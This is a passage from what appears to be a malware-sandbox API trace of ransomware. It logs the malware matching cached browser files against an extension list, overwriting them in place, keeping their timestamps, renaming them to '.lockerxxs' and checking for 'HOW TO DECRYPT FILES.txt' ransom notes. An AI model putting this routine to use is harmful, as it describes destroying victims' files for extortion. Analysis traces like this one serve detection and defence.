(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.txt") returned 0 [0082.721] lstrlenA (lpString="*.txt") returned 5 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.jpeg") returned 0 [0082.721] lstrlenA (lpString="*.jpeg") returned 6 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.jpg") returned 0 [0082.721] lstrlenA (lpString="*.jpg") returned 5 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.png") returned 1 [0082.721] lstrlenA (lpString="*.png") returned 5 [0082.722] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" [0082.722] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" [0082.722] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png." [0082.722] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.lockerxxs" [0082.722] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.724] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x204 [0082.724] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3)) returned 1 [0082.724] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.724] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1de, lpOverlapped=0x0) returned 1 [0082.726] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png") returned="AA61ILp[2].png" [0082.726] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.726] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1de, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1de, lpOverlapped=0x0) returned 1 [0082.726] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.727] CloseHandle (hObject=0xa4) returned 1 [0082.728] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png.lockerxxs")) returned 1 [0082.729] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50ebbff0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50ebbff0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50ebbff0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA6SNZ6[1].png", cAlternateFileName="AA6SNZ~1.PNG")) returned 1 [0082.729] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.729] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA6SNZ6[1].png") returned 1 [0082.729] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA6SNZ6[1].png") returned 1 [0082.729] lstrcmpiA (lpString1="", lpString2="AA6SNZ6[1].png") returned -1 [0082.729] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png") returned="AA61ILp[2].png" [0082.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.729] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.729] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.729] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.730] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AA6SNZ6[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.ems") returned 0 [0082.730] lstrlenA (lpString="*.ems") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.db") returned 0 [0082.730] lstrlenA (lpString="*.db") returned 4 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.dbf") returned 0 [0082.730] lstrlenA (lpString="*.dbf") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.myox") returned 0 [0082.730] lstrlenA (lpString="*.myox") returned 6 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.myo") returned 0 [0082.730] lstrlenA (lpString="*.myo") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qbw") returned 0 [0082.730] lstrlenA (lpString="*.qbw") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qbb") returned 0 [0082.730] lstrlenA (lpString="*.qbb") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qbm") returned 0 [0082.730] lstrlenA (lpString="*.qbm") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qbo") returned 0 [0082.730] lstrlenA (lpString="*.qbo") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qbx") returned 0 [0082.730] lstrlenA (lpString="*.qbx") returned 5 [0082.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qba") returned 0 [0082.731] lstrlenA (lpString="*.qba") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qby") returned 0 [0082.731] lstrlenA (lpString="*.qby") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qbj") returned 0 [0082.731] lstrlenA (lpString="*.qbj") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.ofx") returned 0 [0082.731] lstrlenA (lpString="*.ofx") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.qif") returned 0 [0082.731] lstrlenA (lpString="*.qif") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.mye") returned 0 [0082.731] lstrlenA (lpString="*.mye") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.mbox") returned 0 [0082.731] lstrlenA (lpString="*.mbox") returned 6 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.eml") returned 0 [0082.731] lstrlenA (lpString="*.eml") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.pst") returned 0 [0082.731] lstrlenA (lpString="*.pst") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.ost") returned 0 [0082.731] lstrlenA (lpString="*.ost") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.idx") returned 0 [0082.731] lstrlenA (lpString="*.idx") returned 5 [0082.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.dbx") returned 0 [0082.731] lstrlenA (lpString="*.dbx") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.sql") returned 0 [0082.732] lstrlenA (lpString="*.sql") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.mdb") returned 0 [0082.732] lstrlenA (lpString="*.mdb") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.fdb") returned 0 [0082.732] lstrlenA (lpString="*.fdb") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.wab") returned 0 [0082.732] lstrlenA (lpString="*.wab") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.dat") returned 0 [0082.732] lstrlenA (lpString="*.dat") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.txt") returned 0 [0082.732] lstrlenA (lpString="*.txt") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.jpeg") returned 0 [0082.732] lstrlenA (lpString="*.jpeg") returned 6 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.jpg") returned 0 [0082.732] lstrlenA (lpString="*.jpg") returned 5 [0082.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", pszSpec="*.png") returned 1 [0082.732] lstrlenA (lpString="*.png") returned 5 [0082.732] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" [0082.732] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" [0082.732] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png." [0082.732] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.lockerxxs" [0082.733] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.733] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ed [0082.733] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x50ebbff0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x50ebbff0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x50ebbff0, dwHighDateTime=0x1d2faf3)) returned 1 [0082.733] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.733] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2c7, lpOverlapped=0x0) returned 1 [0082.735] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png") returned="AA6SNZ6[1].png" [0082.735] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.735] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2c7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2c7, lpOverlapped=0x0) returned 1 [0082.735] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.735] CloseHandle (hObject=0xa4) returned 1 [0082.736] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png.lockerxxs")) returned 1 [0082.738] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454eaa90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454eaa90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x454eaa90, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAbyinC[1].png", cAlternateFileName="AABYIN~1.PNG")) returned 1 [0082.738] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAbyinC[1].png") returned 1 [0082.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAbyinC[1].png") returned 1 [0082.738] lstrcmpiA (lpString1="", lpString2="AAbyinC[1].png") returned -1 [0082.738] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png") returned="AA6SNZ6[1].png" [0082.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.738] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 